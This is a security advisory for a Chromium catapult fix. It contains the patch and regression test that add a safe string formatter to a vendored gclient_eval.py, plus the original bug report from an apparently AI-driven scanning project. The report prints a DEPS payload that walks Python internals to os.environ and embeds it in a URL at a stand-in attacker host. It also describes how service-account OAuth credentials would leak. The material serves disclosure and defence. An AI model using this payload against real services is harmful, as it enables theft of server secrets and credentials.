CVE-2026-79249
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
_SafeFormatterthird_party/depot_tools/depot_tools/gclient_eval.py |
modified | |
Errorthird_party/depot_tools/depot_tools/gclient_eval.py |
modified |
Files Changed
third_party/depot_tools/depot_tools/gclient_eval.pythird_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
Patch
From 9f045bedcaeec77d68388382a19e0677dc987bd6 Mon Sep 17 00:00:00 2001 From: Wenbin Zhang <[email protected]> Date: Thu, 16 Jul 2026 11:28:29 -0700 Subject: [PATCH] [catapult] update gclient_eval to resolve security concern on string.format() Using the latest version from depot_tool which has this issue fixed already. Bug: 523232966 Change-Id: If9a0448560fcd552c4c4bc1928e0aa2ce481f340 Reviewed-on: https://chromium-review.googlesource.com/c/catapult/+/8109357 Reviewed-by: John Chen <[email protected]> Commit-Queue: Wenbin Zhang <[email protected]> --- diff --git a/third_party/depot_tools/depot_tools/gclient_eval.py b/third_party/depot_tools/depot_tools/gclient_eval.py index 2d8e536..79a57f5 100644 --- a/third_party/depot_tools/depot_tools/gclient_eval.py +++ b/third_party/depot_tools/depot_tools/gclient_eval.py @@ -6,6 +6,7 @@ import collections from io import StringIO import logging +import string import sys import threading import tokenize @@ -18,6 +19,26 @@ from third_party import schema +class _SafeFormatter(string.Formatter): + + def get_field(self, field_name, args, kwargs): + if '.' in field_name or '[' in field_name: + raise ValueError('Attribute and item access are not allowed: %s' % + field_name) + return super().get_field(field_name, args, kwargs) + +_SAFE_FORMATTER = _SafeFormatter() + +def _ExpandVars(value, vars_dict): + """Expands {name} placeholders in |value| using |vars_dict|. + + Unlike str.format(), this only permits simple top-level key substitution + and rejects attribute access (`{x.attr}`) and item access (`{x[key]}`), + which would otherwise allow a malicious DEPS file to traverse into Python + internals (e.g. __globals__) and read process state such as os.environ. + """ + return _SAFE_FORMATTER.format(value, **vars_dict) + class Error(Exception): """gclient exception class.""" def __init__(self, msg, *args, **kwargs): @@ -337,7 +358,7 @@ if vars_dict is None: return node.s try: - return node.s.format(**vars_dict) + return _ExpandVars(node.value, vars_dict) except KeyError as e: raise KeyError( '%s was used as a variable, but was not declared in the vars dict ' @@ -500,7 +521,7 @@ """ new_deps_dict = {} for dep_name, dep_info in deps_dict.items(): - dep_name = dep_name.format(**vars_dict) + dep_name = _ExpandVars(dep_name, vars_dict) if not isinstance(dep_info, collections.abc.Mapping): dep_info = {'url': dep_info} dep_info.setdefault('dep_type', 'git') diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py index 65d83a8..6afdd16 100755 --- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py +++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py @@ -78,6 +78,14 @@ self.assertIn('bar was used as a variable, but was not declared', str(cm.exception)) + def test_format_attribute_traversal(self): + with self.assertRaises(ValueError) as cm: + gclient_eval._gclient_eval('"{bar.__class__}"', + vars_dict={'bar': 'foo'}) + self.assertIn( + 'Attribute and item access are not allowed: bar.__class__', + str(cm.exception)) + def test_plus(self): self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
Regression Test / PoC
diff --git a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
index 65d83a8..6afdd16 100755
--- a/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
+++ b/third_party/depot_tools/depot_tools/tests/gclient_eval_unittest.py
@@ -78,6 +78,14 @@
self.assertIn('bar was used as a variable, but was not declared',
str(cm.exception))
+ def test_format_attribute_traversal(self):
+ with self.assertRaises(ValueError) as cm:
+ gclient_eval._gclient_eval('"{bar.__class__}"',
+ vars_dict={'bar': 'foo'})
+ self.assertIn(
+ 'Attribute and item access are not allowed: bar.__class__',
+ str(cm.exception))
+
def test_plus(self):
self.assertEqual('foo', gclient_eval._gclient_eval('"f" + "o" + "o"'))
Original Bug Report
Sandbox escape and credential disclosure in vendored gclient_eval.py on Pinpoint
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A copy of gclient_eval.py vendored by catapult for Pinpoint lacks the safety formatting filters used upstream in depot_tools to prevent native str.format() sandbox escapes. Consequently, parsing a maliciously crafted DEPS file with nested attribute lookups can potentially allow an attacker to traverse Python attributes to retrieve sensitive environment variables and exfiltrate Google App Engine credentials. This affects Pinpoint’s bisection service which evaluates historical DEPS files during regression analysis.
Affected files:
third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py
Estimated timestamp from git blame: 2020-07-13
Description
The catapult-vendored copy of gclient_eval.py at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py does not include the _SafeFormatter mitigation class defined upstream in third_party/depot_tools/gclient_eval.py. Upstream, _SafeFormatter rejects attribute and item traversal (. or [ in format placeholders) before rendering.
Without this safety wrapper, the catapult-vendored code calls native str.format() on evaluated string templates directly:
- Line 340:
return node.s.format(**vars_dict)within_convert - Line 503:
dep_name = dep_name.format(**vars_dict)within_StandardizeDeps
Potential Gadget Chain
An attacker could potentially craft a schema-compliant DEPS file using the permitted ConstantString type (exposed as Str() inside the sandbox parser):
vars = {
'g': Str('x'),
}
deps = {
'src/x': 'https://attacker.example/{g.__class__.__init__.__globals__[sys].modules[os].environ}@deadbeef',
}
During evaluation, gclient_eval resolves g to a ConstantString instance. Because the file imports sys globally, the native str.format() walks from the instance’s __class__.__init__.__globals__ to the global sys module, resolves os.environ, and serializes the server’s environment variables directly into the resulting URL template.
Potential Trigger Path
- Commit Submission: An attacker lands a modified
DEPSfile with the gadget above in any repository tracked by Chromium or its recursedeps. Even if reverted, the commit remains in the git history. - Bisection Execution: A Pinpoint bisection job runs across the commit range. To identify dependency changes, the engine invokes
Commit.Deps()inthird_party/catapult/dashboard/dashboard/pinpoint/models/change/commit.pyat line 107. - DEPS Parsing: Pinpoint pulls the file content via Gitiles and passes it to the vulnerable parser:
gclient_eval.Parse(deps_file_contents, ...)(line 130). This executes the direct.format()expansion.
Potential Exfiltration Channels
- Cloud Logging: The parsed URL with the serialized environment is logged via
logging.debugat line 150 ofcommit.py. - App Engine Datastore: If the dependency URL is processed, it is registered in
Repositoryvia_AddRepositoryinrepository.pyand written to the ndb Datastore viaput(). - Authenticated HTTP GET Request: If adjacent commits carry differing repository urls, subsequent bisection checks trigger
gitiles_service.CommitRange(). This issues an HTTPS GET request using an authenticated client configured viautils.ServiceAccountHttp()(which wrapsgoogle_auth_httplib2.AuthorizedHttp), leaking the serialized environment within the URL and the service-account OAuth bearer credentials in theAuthorizationheader to the attacker’s server.
Note: These are potential steps and impacts identified by analysis; our tooling does not currently have the capability to run code to confirm live exploitability on production App Engine instances.
Suggested Fix
Backport the safety implementation from third_party/depot_tools/gclient_eval.py into the catapult copy at third_party/catapult/third_party/depot_tools/depot_tools/gclient_eval.py. Specifically, implement the _SafeFormatter class:
class _SafeFormatter(string.Formatter):
def get_field(self, field_name, args, kwargs):
if '.' in field_name or '[' in field_name:
raise ValueError('Attribute and item access are not allowed: %s' % field_name)
return super(_SafeFormatter, self).get_field(field_name, args, kwargs)
And wrap variable expansion to ensure nested attribute lookups are strictly rejected.
Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Raised in root component due to access or custom field issues on 1457058